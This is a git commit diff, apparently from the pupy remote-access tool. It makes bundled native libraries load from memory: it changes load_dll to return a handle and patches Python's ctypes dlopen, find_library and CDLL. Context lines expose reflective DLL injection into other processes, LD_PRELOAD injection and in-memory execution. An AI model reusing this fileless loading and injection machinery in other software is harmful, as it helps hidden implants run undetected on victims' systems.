Add (initial) support for loading bundled libraries via ctypes

This commit is contained in:
Oleksii Shevchuk 2017-03-21 18:16:33 +02:00 committed by Oleksii Shevchuk
parent 477556264b
commit 5f78b6cbbe
4 changed files with 102 additions and 16 deletions

View File

@ -221,9 +221,7 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
printf("Py_load_dll(%s)\n", dllname);
if(memdlopen(dllname, lpDllBuffer, dwDllLenght))
return PyBool_FromLong(1);
return PyBool_FromLong(0);
return PyLong_FromVoidPtr(memdlopen(dllname, lpDllBuffer, dwDllLenght));
}
static PyObject *Py_mexec(PyObject *self, PyObject *args)
@ -290,7 +288,7 @@ static PyMethodDef methods[] = {
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "get_modules", Py_get_modules, METH_NOARGS, "get pupy library" },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer)\nreflectively inject a dll into a process. raise an Exception on failure" },
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" },
{ "mexec", Py_mexec, METH_VARARGS, "mexec(data, argv, redirected_stdio, detach) -> (pid, (in, out, err))" },
{ "ld_preload_inject_dll", Py_ld_preload_inject_dll, METH_VARARGS, "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" },
{ NULL, NULL }, /* Sentinel */

View File

@ -65,17 +65,14 @@ int _load_python_FromFile(char *dllname)
return 1;
}
int _load_dll(char *name, char *bytes){
HMODULE _load_dll(char *name, char *bytes){
HMODULE hmod;
ULONG_PTR cookie = 0;
cookie = _My_ActivateActCtx();
hmod = MyLoadLibrary(name, bytes, NULL);
if (hmod == NULL) {
return 0;
}
_My_DeactivateActCtx(cookie);
return 1;
return hmod;
}
int _load_msvcr90(char *bytes)

View File

@ -78,12 +78,12 @@ static PyObject *Py_load_dll(PyObject *self, PyObject *args)
DWORD dwPid;
const char *lpDllBuffer;
DWORD dwDllLenght;
const char *dllname;
if (!PyArg_ParseTuple(args, "ss#", &dllname, &lpDllBuffer, &dwDllLenght))
return NULL;
if(_load_dll(dllname, lpDllBuffer))
return PyBool_FromLong(1);
return PyBool_FromLong(0);
return PyLong_FromVoidPtr(_load_dll(dllname, lpDllBuffer));
}
static PyObject *Py_find_function_address(PyObject *self, PyObject *args)
@ -104,7 +104,7 @@ static PyMethodDef methods[] = {
{ "get_arch", Py_get_arch, METH_NOARGS, "get current pupy architecture (x86 or x64)" },
{ "get_modules", Py_get_modules, METH_NOARGS },
{ "reflective_inject_dll", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS, "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\nreflectively inject a dll into a process. raise an Exception on failure" },
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> bool" },
{ "load_dll", Py_load_dll, METH_VARARGS, "load_dll(dllname, raw_dll) -> ptr" },
{ "find_function_address", Py_find_function_address, METH_VARARGS,
"find_function_address(dllname, function) -> address" },
{ NULL, NULL }, /* Sentinel */

View File

@ -29,6 +29,7 @@ try:
import _memimporter
builtin_memimporter = True
allow_system_packages = False
except ImportError:
builtin_memimporter = False
allow_system_packages = True
@ -78,8 +79,15 @@ except ImportError:
unlink(name)
def import_module(self, data, initfuncname, fullname, path):
self.load_library(data, fullname, dlopen=False)
def load_library(self, data, fullname, dlopen=True):
fd = -1
closefd = True
result = False
if self.memfd:
fd = self.memfd()
if fd != -1:
@ -91,7 +99,11 @@ except ImportError:
try:
write(fd, data)
imp.load_dynamic(fullname, name)
if dlopen:
result = CDLL(fullname)
else:
imp.load_dynamic(fullname, name)
result = True
except:
self.dir = None
@ -101,6 +113,8 @@ except ImportError:
close(fd)
unlink(name)
return result
_memimporter = MemImporter()
builtin_memimporter = _memimporter.ready
@ -352,9 +366,12 @@ def unregister_package_request_hook():
global remote_load_package
remote_load_package = None
def install(debug=False):
def install(debug=None):
global __debug
__debug = debug
global modules
if debug:
__debug = True
if allow_system_packages:
sys.path_hooks.append(PupyPackageFinder)
@ -373,6 +390,80 @@ def install(debug=False):
'32bit' if pupy.get_arch() == 'x86' else '64bit', ''
)
import ctypes
import ctypes.util
import os
ctypes._system_dlopen = ctypes._dlopen
ctypes.util._system_find_library = ctypes.util.find_library
def pupy_make_path(name):
if 'pupy:' in name:
name = name[name.find('pupy:')+5:]
name = os.path.relpath(name)
name = '/'.join([
x for x in name.split(os.path.sep) if x and not x in ( '.', '..' )
])
return name
def pupy_find_library(name):
dprint("FIND LIBRARY: {}".format(name))
if name in modules:
return name
else:
return ctypes.util._system_find_library(name)
def pupy_dlopen(name, *args, **kwargs):
dprint("ctypes dlopen: {}".format(name))
from_pupy = False
name = pupy_make_path(name)
dprint("ctypes dlopen / pupyized: {}".format(name))
if name in modules:
if hasattr(_memimporter, 'load_library'):
try:
return _memimporter.load_library(modules[name], name)
except:
pass
elif hasattr(pupy, 'load_dll'):
try:
return pupy.load_dll(name, modules[name])
except:
pass
if not from_pupy:
return ctypes._system_dlopen(name, *args, **kwargs)
if hasattr(pupy, 'find_function_address'):
ctypes.CDLL_ORIG = ctypes.CDLL
class PupyCDLL(ctypes.CDLL_ORIG):
def __init__(self, name, **kwargs):
super(PupyCDLL, self).__init__(name, **kwargs)
self._FuncPtr_orig = self._FuncPtr
self._FuncPtr = self._find_function_address
self._name = pupy_make_path(self._name)
def _find_function_address(self, search_tuple):
name, handle = search_tuple
dprint("PupyCDLL._find_function_address: {}".format(name))
if not type(name) in (str, unicode):
return self._FuncPtr_orig(search_tuple)
else:
addr = pupy.find_function_address(self._name, name)
dprint("PupyCDLL._find_function_address: {} = {}".format(name, addr))
if addr:
return self._FuncPtr_orig(addr)
else:
return self._FuncPtr_orig(search_tuple)
ctypes.CDLL = PupyCDLL
ctypes._dlopen = pupy_dlopen
ctypes.util.find_library = pupy_find_library
if 'win' in sys.platform:
import pywintypes
if __debug: